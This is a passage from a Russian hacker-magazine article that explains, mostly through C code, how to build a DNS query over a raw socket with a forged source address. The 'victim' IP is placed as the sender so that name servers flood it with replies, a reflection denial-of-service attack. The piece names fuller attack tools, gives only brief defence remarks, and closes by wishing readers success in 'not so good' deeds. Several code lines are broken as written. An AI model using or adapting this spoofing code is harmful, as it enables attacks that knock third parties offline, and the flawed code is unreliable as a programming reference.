|
Агрессивная атака: DNS-UDP-IP спуфер
Xakep, номер #048, стр. 048-068-4 exit(3); } Здесь, в общем, все понятно, кроме самой опции. Уровень IPv4 генерирует заголовок IP при посылке пакета, если только сокету не задана опция IP_HDRINCL. А нам заголовок нужно делать самим. Соответственно и данная опция должна быть. Вот у нас уже и поднят raw сокет с нужными опциями, остается заполнить соответствующие структуры и все это отослать. Структура DNS пакета Сначала займемся dns пакетом. Создадим структуру dns_msg, в которую будут входить header и quastion секции: struct DNS_MSG { HEADER head; /* header */ char query[255]; /* quastion */ }; После этого опишем функцию-член killer этой структурой. struct DNS_MSG killer; И заполним поля (только те, которые действительно нужны): memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); killer.query="домен, который запрашиваем"; killer.query=0x00FF; killer.query=0x0001; Чтобы потом не забыть, сразу создадим структуру всего, что мы отошлем: struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; Создание UDP заголовка Далее нам нужно добавить udp заголовок. Поступим с ним также и заполним поля: struct dns_pkt dpk; dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(20+len); memcpy(dpk.data, (void*)&killer, len); Создание IP заголовка Осталось заполнить ip заголовок. Все точно так же: dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(ip заголовок + udp заголовок + len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr="вот тут у нас жертва" dpk.ip.daddr="а вот тут ip name server'a" Здесь нужно упомянуть, что sockaddr_in должна быть обязательно(!) заполнена, хотя, в общем, она не используется. Т.е. после описания заголовков и dns пакета заполним sockaddr_in: struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr="вот тут у нас жертва"; Отправление запроса И, наконец, отсылка: sendto(sfd, &dpk, размер_ip_заголовка + размер_udp_заголовка + длина, 0, (struct sockaddr *)&sin, sizeof(sin)); Вот минимальный dns спуфер. Для тех, кто хочет посмотреть на полноценные сорсы - doomdns от FuSyS. И также спуфер на перле, что еще проще при наличии нужных модулей. Итог Как же можно защититься от такого рода атаки? Если адреса ns'ов и жертвы берутся от балды, то можно на name серверах запретить рекурсивные запросы и выдавать информацию только о своей зоне. Но если чуть-чуть поразмыслить, то можно выбрать все домены из конкретной зоны и работать с ними в цикле. Т.е. защиты, грубо говоря, нет. Разве что переписать dns протокол. Что, может, и реально в теории, но на практике - нет. Сделать надстройку над современным dns протоколом? Да, можно. Есть даже такая вещь как DNSSEC (RFC-3008). По идее, призван обеспечивать аутентификацию и целостность информации, содержащейся в DNS. Про это тоже можно написать немаленькую статейку, но это уже отдельная тема. Скажу лишь, что у DNSSEC также есть свои недостатки. Подписи, проверки и т.д., все это будет сказываться на скорости и производительности. Причем сказываться ощутимо: например, подписи могут по размеру быть больше самих данных, а над генерацией и проверкой подписей придется процессору попыхтеть (хотя кого это волнует по современным меркам?). Одним словом, все это похоже на ситуацию с переходом от ipv4 на ipv6. Так что, как всегда, все дыряво, и будущее, как всегда, туманно :). Успехов в добрых и не очень делах. И напоследок несколько примеров "умножения": |